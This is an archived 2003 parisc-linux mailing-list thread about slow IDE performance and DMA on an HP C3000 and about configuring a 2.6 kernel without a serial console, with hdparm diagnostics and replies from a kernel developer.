X-Trace: ger.gmane.org 1416623003 2412 80.91.229.3 (22 Nov 2014 02:23:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 26 20:07:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 501AD488A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Nov 2003 20:07:22 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id hAR37Lvq021733
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Nov 2003 03:07:21 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <Pine.LNX.4.58.0311201817470.21743@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20231

On Thu, 20 Nov 2003, M. Grabert wrote:

> Right now I'm using a 120GB IDE using the onboard IDE of the C3k, and
> I get just about 3MB/s with 2.4.22-paX, which might indicate that DMA is
> not supported (I turned DMA/32bit on with hdparm, but no effects). I also
> doubt that the driver for the onboard IDE chipset is much better in the
> 2.6 kernel, so I opted to install a IDE PCI card.

The IDE harddisk is running for the last couple of months, and I had no
errors whatsoever (using the onboard IDE chipset of the C3k).

However it appears that writing and reading from/to the harddisk slows
down the access time quite a bit (ie. streaming a 180kbit/s movie and
writing a file with 1000kbit/s makes the movie to appear/play jerky);
whereas multiple reads doesn't affect it (ie. streaming serveral movies at
a time with 180kbit/s each).

> Unfortunately the only new PCI IDE cards you can get in the shops these
> days that are ones with the Promise or the SiliconImage chipset;
> suppor for the Promise chipset under linux used to be crap, and
> SiliconImage is only suppoted with 2.6, but at least it works, so I went
> for the latter. Therefore I'm eager to get 2.6 running!

Can anybody tell me what config options I need to boot a 2.6 kernel
without serial console support (since it's broken) and without
STI (since I don't have a graphics card in my C3k)?
I've seen a config option 'DUMMY_CONSOLE' in .config, but I don't find
how to select it in 'make menuconfig' or any description in Documentation/.

I have several machines that run headless - I use serial console then.
But I never had a situation where I didn't even have serial console ...


Thanks for any hints,
  Max


From - Thu Nov 08 21:30:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and 2.6 - need config help
Date: Wed, 26 Nov 2003 21:21:03 -0700
Lines: 51
Approved: news@gmane.org
Message-ID: <20031127042103.GC1321@colo.lackof.org>
References: <Pine.LNX.4.58.0311201817470.21743@sal.ucc.ie> <Pine.LNX.4.58.0311270244030.9783@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623003 2414 80.91.229.3 (22 Nov 2014 02:23:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 26 21:21:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08D644840
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Nov 2003 21:21:05 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 416B229803A; Wed, 26 Nov 2003 21:21:04 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 01864-01; Wed, 26 Nov 2003 21:21:03 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 2C6A9298038; Wed, 26 Nov 2003 21:21:03 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0311270244030.9783@sal.ucc.ie>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20232

On Thu, Nov 27, 2003 at 03:07:18AM +0000, M. Grabert wrote:
...
> The IDE harddisk is running for the last couple of months, and I had no
> errors whatsoever (using the onboard IDE chipset of the C3k).

Really! I'm amazed since last time I played with suckyio IDE it
barely worked for CD-ROM installs.

> However it appears that writing and reading from/to the harddisk slows
> down the access time quite a bit (ie. streaming a 180kbit/s movie and
> writing a file with 1000kbit/s makes the movie to appear/play jerky);
> whereas multiple reads doesn't affect it (ie. streaming serveral movies at
> a time with 180kbit/s each).

DMA is probably not enabled. This means all data is "manually" (ie by
the CPU) read or written to the IDE controller 16-bits at a time.
With interrupts turned off, mind you.

Enabling DMA would make a big difference in performance.

> Can anybody tell me what config options I need to boot a 2.6 kernel
> without serial console support (since it's broken) and without
> STI (since I don't have a graphics card in my C3k)?

Willy, tausq, and I hacked around on suckyio serial support.
I posted a preliminary patch to
	 ftp://ftp.parisc-linux.org/patches/diff-2.6.0-suckyio-serial-02

ISTR we have to reset the USB/LAN device via a firmware call *before*
messing with IO MMU (spurious DMA by USB or LAN will MCA the box).
The problem is this firmware call also blows away the serial console.

Work remaining:
1) determine when USB or LAN was left active by firmware.
2) only call firmware to reset all IO when USB or LAN was left active.
3) a) make an early call to init suckyio and it's serial port.
   b) or save/restore suckyio config space registers before/after
      the PDC_IO_RESET calls so PDC console continues to work.

> I've seen a config option 'DUMMY_CONSOLE' in .config, but I don't find
> how to select it in 'make menuconfig' or any description in Documentation/.
> 
> I have several machines that run headless - I use serial console then.
> But I never had a situation where I didn't even have serial console ...

yeah - the real problem is init sequence completely changed in 2.6 (vs 2.4).
We haven't reworked all the same quirks from 2.4 into 2.6 yet.

hth,
grant


From - Thu Nov 08 21:30:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and 2.6 - need config help
Date: Thu, 27 Nov 2003 04:33:40 +0000 (GMT)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0311270423120.9783@sal.ucc.ie>
References: <Pine.LNX.4.58.0311201817470.21743@sal.ucc.ie>
 <Pine.LNX.4.58.0311270244030.9783@sal.ucc.ie> <20031127042103.GC1321@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623003 2415 80.91.229.3 (22 Nov 2014 02:23:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 26 21:33:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 202FD487B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Nov 2003 21:33:43 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id hAR4Xgvq027382;
	Thu, 27 Nov 2003 04:33:42 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20031127042103.GC1321@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20233

On Wed, 26 Nov 2003, Grant Grundler wrote:

> On Thu, Nov 27, 2003 at 03:07:18AM +0000, M. Grabert wrote:
>
> > However it appears that writing and reading from/to the harddisk slows
> > down the access time quite a bit (ie. streaming a 180kbit/s movie and
> > writing a file with 1000kbit/s makes the movie to appear/play jerky);
> > whereas multiple reads doesn't affect it (ie. streaming serveral movies at
> > a time with 180kbit/s each).
>
> DMA is probably not enabled. This means all data is "manually" (ie by
> the CPU) read or written to the IDE controller 16-bits at a time.
> With interrupts turned off, mind you.
>
> Enabling DMA would make a big difference in performance.

See the old thread:

http://lists.parisc-linux.org/pipermail/parisc-linux/2003-August/020851.html
http://lists.parisc-linux.org/pipermail/parisc-linux/2003-August/020886.html

I've tried to enable DMA and unmask interrupts, but obviously it doesn't
work; at least it doesn't make any difference in performance.

> > I've seen a config option 'DUMMY_CONSOLE' in .config, but I don't find
> > how to select it in 'make menuconfig' or any description in Documentation/.
> >
> > I have several machines that run headless - I use serial console then.
> > But I never had a situation where I didn't even have serial console ...
>
> yeah - the real problem is init sequence completely changed in 2.6 (vs 2.4).
> We haven't reworked all the same quirks from 2.4 into 2.6 yet.

So is there current a way to get 2.6 working *without* serial console or STI ?

Thanks,
  Max


From - Thu Nov 08 21:30:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and 2.6 - need config help
Date: Wed, 26 Nov 2003 23:15:57 -0700
Lines: 74
Approved: news@gmane.org
Message-ID: <20031127061557.GE1321@colo.lackof.org>
References: <Pine.LNX.4.58.0311201817470.21743@sal.ucc.ie> <Pine.LNX.4.58.0311270244030.9783@sal.ucc.ie> <20031127042103.GC1321@colo.lackof.org> <Pine.LNX.4.58.0311270423120.9783@sal.ucc.ie> <Pine.LNX.4.58.0311270444110.9783@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623004 2419 80.91.229.3 (22 Nov 2014 02:23:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 26 23:15:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A3CB4840
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Nov 2003 23:15:59 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id C0BDD29803A; Wed, 26 Nov 2003 23:15:58 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 02519-07; Wed, 26 Nov 2003 23:15:57 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 95D71298038; Wed, 26 Nov 2003 23:15:57 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0311270444110.9783@sal.ucc.ie>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20234

On Thu, Nov 27, 2003 at 04:45:49AM +0000, M. Grabert wrote:
> I forgot to mention my current IDE settings (unchanged since August):
> 
> root@beast:/home/xam# hdparm -c /dev/hda
> 
> /dev/hda:
>  IO_support   =  1 (32-bit)

The above info is either wrong or ignored.
"data" register for PC87560 is 16-bits only.
(IDE function is NS87415 compatible)

> root@beast:/home/xam# hdparm -d /dev/hda
> 
> /dev/hda:
>  using_dma    =  1 (on)

Given only 3MB/s, I find it hard to believe.
SuckyIO (PC87560UBD) Data sheet claims 16MB/s per channel. 

However, I just now wonder if the limiting factor is not the IDE if the
kernel is copying data to/from kernel to user space.  Our copy_to/from_user
could be alot more efficient (2x guesstimate) for the PA8500 CPU.
I see max bandwidth of 4-5MB/s on a PA8600 (552Mhz) over 100BT.

With a 32X CD-ROM drive in my c3k, "time dd" is only getting 925 KB/s.
I'll guess a few more factors could be muddying the waters here.

root@gggc3k:~# hdparm -i /dev/cdrom

/dev/cdrom:

 Model=CD-532E-B, FwRev=2.0A, SerialNo=
 Config={ Fixed Removeable DTR<=5Mbs DTR>10Mbs nonMagnetic }
 RawCHS=0/0/0, TrkSize=0, SectSize=0, ECCbytes=0
 BuffType=DualPortCache, BuffSize=128kB, MaxMultSect=0
 (maybe): CurCHS=0/0/0, CurSects=0, LBA=yes, LBAsects=0
 IORDY=on/off, tPIO={min:120,w/IORDY:120}, tDMA={min:120,rec:120}
 PIO modes:  pio0 pio1 pio2 pio3 pio4 
 DMA modes:  sdma0 sdma1 sdma2 mdma0 mdma1 *mdma2 
 AdvancedPM=no

 * signifies the current active mode


root@gggc3k:~# hdparm /dev/cdrom

/dev/cdrom:
 HDIO_GET_MULTCOUNT failed: Invalid argument
 IO_support   =  0 (default 16-bit)
 unmaskirq    =  0 (off)
 using_dma    =  0 (off)
 keepsettings =  0 (off)
 readonly     =  1 (on)
 readahead    =  8 (on)
 HDIO_GETGEO failed: Invalid argument

Note the mdma2 and using_dma settings don't agree.
I tried to set using_dma:

root@gggc3k:~# hdparm -d 1 /dev/cdrom

/dev/cdrom:
 setting using_dma to 1 (on)
 HDIO_SET_DMA failed: Operation not permitted
 using_dma    =  0 (off)
root@gggc3k:~# uname -a
Linux gggc3k 2.4.22-pa17 #18 Fri Nov 21 21:16:31 PST 2003 parisc GNU/Linux


BTW, I checked that CONFIG_IDEDMA_ONLYDISK is off.

grant


From - Thu Nov 08 21:30:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and 2.6 - need config help
Date: Thu, 27 Nov 2003 15:16:08 +0000 (GMT)
Lines: 41
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0311271450260.13181@sal.ucc.ie>
References: <Pine.LNX.4.58.0311201817470.21743@sal.ucc.ie>
 <Pine.LNX.4.58.0311270244030.9783@sal.ucc.ie> <20031127042103.GC1321@colo.lackof.org>
 <Pine.LNX.4.58.0311270423120.9783@sal.ucc.ie> <Pine.LNX.4.58.0311270444110.9783@sal.ucc.ie>
 <20031127061557.GE1321@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623004 2425 80.91.229.3 (22 Nov 2014 02:23:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 27 08:16:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD3884840
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Nov 2003 08:16:11 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id hARFG9vq015068;
	Thu, 27 Nov 2003 15:16:09 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20031127061557.GE1321@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20235

On Wed, 26 Nov 2003, Grant Grundler wrote:

> However, I just now wonder if the limiting factor is not the IDE if the
> kernel is copying data to/from kernel to user space.  Our copy_to/from_user
> could be alot more efficient (2x guesstimate) for the PA8500 CPU.
> I see max bandwidth of 4-5MB/s on a PA8600 (552Mhz) over 100BT.

The limiting factor is definitely not the IDE hard disk, it's a new
Seagate 120GB which has a sustained data transfer rate of >30MB/s.

The max. transfer rate of any 100BT network is around 5MByte/s.

Personally I also get something between 4-5MB/s from any host to any
hosy in my home network. If I do a network transfer to the C3k (IDE hard disk),
I get about 4.5MB/s, but after a while the transfer stalls for a short
time, and then continues. However I see sustained 4.5MB/s to my C3k if I
write to any of the SCSI hard disks - without any stalls.

I suppose if it tries to write the data to the IDE hard disk (3.3MB/s),
it can't keep up with the speed of the network (4.5MB/s), so it buffers
the data in the RAM. At some point the buffer is full and the kernel
delays the networks transfer until the buffer content is written to the
IDE disk.


> With a 32X CD-ROM drive in my c3k, "time dd" is only getting 925 KB/s.
> I'll guess a few more factors could be muddying the waters here.

That's equivalent to a 5-6X CD-ROM. Ouch.

[...]

Quite a lot old IDE cdroms drives don't support dma transfers.
Hower you'll get the same message if you try to enable DMA if you have a
kernel that doesn't have a driver with DMA support for your IDE chipset.

I honestly don't thing DMA works ...


 Max


From - Thu Nov 08 21:30:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and 2.6 - need config help
Date: Thu, 27 Nov 2003 11:15:31 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20031127181531.GB9746@colo.lackof.org>
References: <Pine.LNX.4.58.0311201817470.21743@sal.ucc.ie> <Pine.LNX.4.58.0311270244030.9783@sal.ucc.ie> <20031127042103.GC1321@colo.lackof.org> <Pine.LNX.4.58.0311270423120.9783@sal.ucc.ie> <Pine.LNX.4.58.0311270444110.9783@sal.ucc.ie> <20031127061557.GE1321@colo.lackof.org> <Pine.LNX.4.58.0311271450260.13181@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623004 2429 80.91.229.3 (22 Nov 2014 02:23:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 27 11:15:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1C5AC4840
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Nov 2003 11:15:33 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 50D3129803A; Thu, 27 Nov 2003 11:15:32 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 09933-01; Thu, 27 Nov 2003 11:15:31 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A12C6298038; Thu, 27 Nov 2003 11:15:31 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0311271450260.13181@sal.ucc.ie>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20236

On Thu, Nov 27, 2003 at 03:16:08PM +0000, M. Grabert wrote:
> The max. transfer rate of any 100BT network is around 5MByte/s.

100BT is capable of 90-95Mb/s ~= 11MB/s.
There's a website someplace that has 100BT performance numbers
for all sorts of card/OS combinations.

I've measured ftp transfers > 10MB/s between ia64 and ia32 machines
over 100BT link.

I'll take another look at why DMA isn't working.
It looks like NS87415 driver has the support in place.
The key bit seems to be init_hwif_ns87415().

grant


From - Thu Nov 08 21:30:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and 2.6 - need config help
Date: Thu, 27 Nov 2003 18:21:26 +0000 (GMT)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0311271817360.14260@sal.ucc.ie>
References: <Pine.LNX.4.58.0311201817470.21743@sal.ucc.ie>
 <Pine.LNX.4.58.0311270244030.9783@sal.ucc.ie> <20031127042103.GC1321@colo.lackof.org>
 <Pine.LNX.4.58.0311270423120.9783@sal.ucc.ie> <Pine.LNX.4.58.0311270444110.9783@sal.ucc.ie>
 <20031127061557.GE1321@colo.lackof.org> <Pine.LNX.4.58.0311271450260.13181@sal.ucc.ie>
 <20031127181531.GB9746@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623004 2431 80.91.229.3 (22 Nov 2014 02:23:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 27 11:21:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A7A74840
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Nov 2003 11:21:28 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id hARILRvq030821;
	Thu, 27 Nov 2003 18:21:27 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20031127181531.GB9746@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20237

On Thu, 27 Nov 2003, Grant Grundler wrote:

> On Thu, Nov 27, 2003 at 03:16:08PM +0000, M. Grabert wrote:
> > The max. transfer rate of any 100BT network is around 5MByte/s.
>
> 100BT is capable of 90-95Mb/s ~= 11MB/s.

That's theoretical, not really practically possible/feasible :-/

> There's a website someplace that has 100BT performance numbers
> for all sorts of card/OS combinations.
>
> I've measured ftp transfers > 10MB/s between ia64 and ia32 machines
> over 100BT link.

ftp? uncompressed? Well I'm impressed ...
The fastest 100MBit link I ever had was 7MBytes/s.

> I'll take another look at why DMA isn't working.
> It looks like NS87415 driver has the support in place.
> The key bit seems to be init_hwif_ns87415().

Thanks alot,

 Max


From - Thu Nov 08 21:30:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and 2.6 - need config help
Date: Thu, 27 Nov 2003 19:29:44 +0100
Lines: 35
